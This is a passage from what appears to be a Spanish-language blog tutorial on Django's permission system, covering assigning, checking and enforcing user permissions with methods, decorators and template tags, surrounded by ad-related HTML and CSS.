border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Si aún no te decides a usar Django y estás investigando sus características revisa mi entrada sobre las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;ventajas y desventajas del framework de desarrollo web Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, si ya tienes un poco de práctica con Django quizá te convenga profundizar lo que sabes con este libro gratuito, y en español, llamado &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/la-guia-definitiva-de-django/&#34;&gt;la guía definitiva de Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-se-crean-los-permisos-en-django&#34;&gt;¿Cómo se crean los permisos en Django?&lt;/h2&gt;&#xA;&lt;p&gt;Cada que creas un modelo y corres las migraciones &lt;strong&gt;se crean automáticamente 4 permisos (add, edit, delete y view)&lt;/strong&gt; en &lt;em&gt;django.contrib.auth&lt;/em&gt; para ese objeto.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, el modelo usuario tiene una relación &lt;em&gt;ManyToMany&lt;/em&gt; con el modelo &lt;em&gt;Permissions&lt;/em&gt; (que guarda los permisos anteriores) y el modelo &lt;em&gt;Groups&lt;/em&gt;. Por lo que ya de primeras contamos con una relación entre usuarios, grupos y permisos que podemos aprovechar.&lt;/p&gt;&#xA;&lt;p&gt;Los permisos que crea Django vienen en la forma de &lt;!-- raw HTML omitted --&gt;.&lt;!-- raw HTML omitted --&gt;_&lt;!-- raw HTML omitted --&gt; o app.accion_modelo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_modelo &lt;span style=&#34;color:#78787e&#34;&gt;# Para añadir modelos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;edit_modelo &lt;span style=&#34;color:#78787e&#34;&gt;# Para editar modelos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;delete_modelo &lt;span style=&#34;color:#78787e&#34;&gt;# Para borrar modelos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;view_modelo &lt;span style=&#34;color:#78787e&#34;&gt;# Para ver modelos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# por ejemplo: &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# streaming.add_pelicula&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# tienda.edit_articulo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# encuestas.delete_encuesta&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# vapor.view_videojuego&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;agregar-o-remover-permisos-a-un-usuario&#34;&gt;Agregar o remover permisos a un usuario&lt;/h2&gt;&#xA;&lt;p&gt;Para agregar o remover los permisos a un usuario haremos uso de los métodos que nos provee Django&lt;/p&gt;&#xA;&lt;p&gt;Para agregar permisos uno por uno los pasamos al método &lt;em&gt;add()&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add(permiso1, permiso2, &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Para remover permisos le pasamos el permiso que queremos remover al método &lt;em&gt;remove()&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;remove(permiso1, permiso2, &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si queremos establecer una lista de permisos simplemente igualamos el atributo &lt;em&gt;permissions&lt;/em&gt; a la lista que queremos que tenga.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [lista_de_permisos]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para eliminar todos los permisos de un usuario usamos el método &lt;em&gt;clear()&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;clear()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;comprobando-los-permisos-para-un-usuario&#34;&gt;Comprobando los permisos para un usuario&lt;/h2&gt;&#xA;&lt;p&gt;Ya que hemos asignado permisos, podemos limitar el comportamiento de un usuario a los permisos que tenga. Por ejemplo, Patreon solo muestra su contenido a usuarios que donan periódicamente a un creador de contenido e incluso dentro de una sola cuenta hay diferentes permisos que están en función de la cantidad de dinero que dones.&lt;/p&gt;&#xA;&lt;h3 id=&#34;comprobar-que-permisos-tiene-un-usuario&#34;&gt;Comprobar que permisos tiene un usuario&lt;/h3&gt;&#xA;&lt;p&gt;El método &lt;em&gt;get_all_permissions()&lt;/em&gt; nos devuelve una lista de todos los permisos con los que cuenta un usuario.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_all_permissions()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;comprobar-los-permisos-de-los-grupos-a-los-que-pertenece-un-usuario&#34;&gt;Comprobar los permisos de los grupos a los que pertenece un usuario&lt;/h3&gt;&#xA;&lt;p&gt;Esto nos devolverá los permisos que obtiene un usuario por los grupos a los que pertenece.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_group_permissions()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;comprobar-si-un-usuario-tiene-un-permiso&#34;&gt;Comprobar si un usuario tiene un permiso&lt;/h3&gt;&#xA;&lt;p&gt;Podemos corroborar si un usuario tiene un permiso único con el método &lt;em&gt;has_perm()&lt;/em&gt;. Devolverá &lt;em&gt;True&lt;/em&gt; si el usuario tiene el permiso. Si el usuario tiene los permisos pero su instancia de usuario tiene la propiedad active igual a &lt;em&gt;False&lt;/em&gt;, devolverá &lt;em&gt;False&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_perm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.accion_modelo&amp;#34;&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;comprobar-si-un-usuario-tiene-una-serie-de-permisos&#34;&gt;Comprobar si un usuario tiene una serie de permisos&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;has_perms&lt;/em&gt; es bastante útil si queremos comprobar si un usuario cuenta con una serie de permisos. Devolverá &lt;em&gt;True&lt;/em&gt;, solamente si cuenta con todos los permisos. Igual que el anterior, &lt;strong&gt;devolverá &lt;em&gt;False&lt;/em&gt; si el usuario no está activo, incluso si cuenta con los permisos.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_perms([&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.edit_modelo&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.delete_modelo&amp;#34;&lt;/span&gt;]) &lt;span style=&#34;color:#78787e&#34;&gt;# por ejemplo videogame_store.edit_videogame, videogame_store.delete_videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;comprobar-si-un-usuario-cuenta-con-algun-permiso&#34;&gt;Comprobar si un usuario cuenta con algún permiso&lt;/h3&gt;&#xA;&lt;p&gt;Quizás queremos solo corroborar la existencia de cualquier permiso, para eso sirve &lt;em&gt;has_module_perms()&lt;/em&gt;. Devuelve &lt;em&gt;True&lt;/em&gt; si el usuario cuenta con algún permiso para la etiqueta de la aplicación que le pasemos. De la misma manera, devuelve &lt;em&gt;False&lt;/em&gt; para usuarios inactivos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_module_perms(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;etiqueta_de_la_app&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# por ejemplo videogame.view_videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;tuModelo&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        app_label &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;etiqueta_de_la_app&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;aplicando-los-permisos-para-limitar-acciones&#34;&gt;Aplicando los permisos para limitar acciones&lt;/h2&gt;&#xA;&lt;p&gt;Podemos aplicar los permisos para proteger nuestras vistas envolviéndolas en un decorador&lt;/p&gt;&#xA;&lt;h3 id=&#34;comprobando-con-user_passes_test&#34;&gt;Comprobando con user_passes_test&lt;/h3&gt;&#xA;&lt;p&gt;Esta función requiere obligatoriamente un objeto como argumento y este objeto debe aceptar al objeto &lt;em&gt;user&lt;/em&gt; como su argumento. Dejando de lado eso, este test puede contener lo que quieras, desde comprobar un campo del usuario, permisos, corroborar una fecha límite, etc.&lt;/p&gt;&#xA;&lt;p&gt;Existe un segundo parámetro opcional, la dirección url a redireccionar para usuarios que no están autenticados, que toma el valor de &lt;em&gt;settings.LOGIN_URL&lt;/em&gt; (sí, el que especifiques en tu archivo de configuración) si no especificamos ninguno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;can_delete_and_edit&lt;/span&gt;(user):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_perm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.edit_modelo&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;and&lt;/span&gt; user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;has_perm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.delete_modelo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@user_passes_test&lt;/span&gt;(can_delete_and_edit, login_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/login/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;manage_videogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;comprobando-con-permissions_required&#34;&gt;Comprobando con permissions_required&lt;/h3&gt;&#xA;&lt;p&gt;De igual manera, cuenta con un segundo parámetro opcional, la dirección url a redireccionar para usuarios que no están autenticados, que adopta el valor de &lt;em&gt;settings.LOGIN_URL&lt;/em&gt; si no especificamos ninguno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.decorators &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; permission_required&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@permission_required&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;app.edit_videogame&amp;#39;&lt;/span&gt;, login_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/login/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;edit_videogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;aplicando-los-permisos-en-plantillas&#34;&gt;Aplicando los permisos en plantillas&lt;/h3&gt;&#xA;&lt;p&gt;Las plantillas de Django ya no son tan populares como antes, debido al auge de los microservicios y frameworks de frontend como React, Vue, Angular, etc. Aún así, si deseas usarlas en plantillas puedes acceder a los permisos de la siguiente manera:&lt;/p&gt;&#xA;&lt;p&gt;Actualización: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-y-htmx-web-apps-modernas-sin-escribir-js/&#34;&gt;Htmx&lt;/a&gt;&#xA; puede darle vida, nuevamente, a los permisos en el sistema de plantillas de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-django&#34; data-lang=&#34;django&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;perms.app.action_model&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Para comprobar si el usuario tiene un permiso en específico&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;endif&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;perms.app&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Para comprobar si el usuario tiene algún permiso para esa app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;endif&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;grupos-de-permisos-en-django&#34;&gt;Grupos de permisos en Django&lt;/h2&gt;&#xA;&lt;p&gt;Como ya sabes, usar grupos es una manera bastante cómoda de asignar una serie de permisos. Quizás tengas una aplicación de pago y quieras que todos los usuarios con el plan básico tengan una serie de permisos, mientas que los usuarios premium tengan permisos extra. &lt;strong&gt;Para organizar los permisos y asignarlos de manera más sencilla podemos usar grupos&lt;/strong&gt;. Puedes acceder a estos grupos y asignarles permisos desde el panel de administración o desde la terminal de Python.&lt;/p&gt;&#xA;&lt;h3 id=&#34;crear-grupos-de-permisos&#34;&gt;Crear grupos de 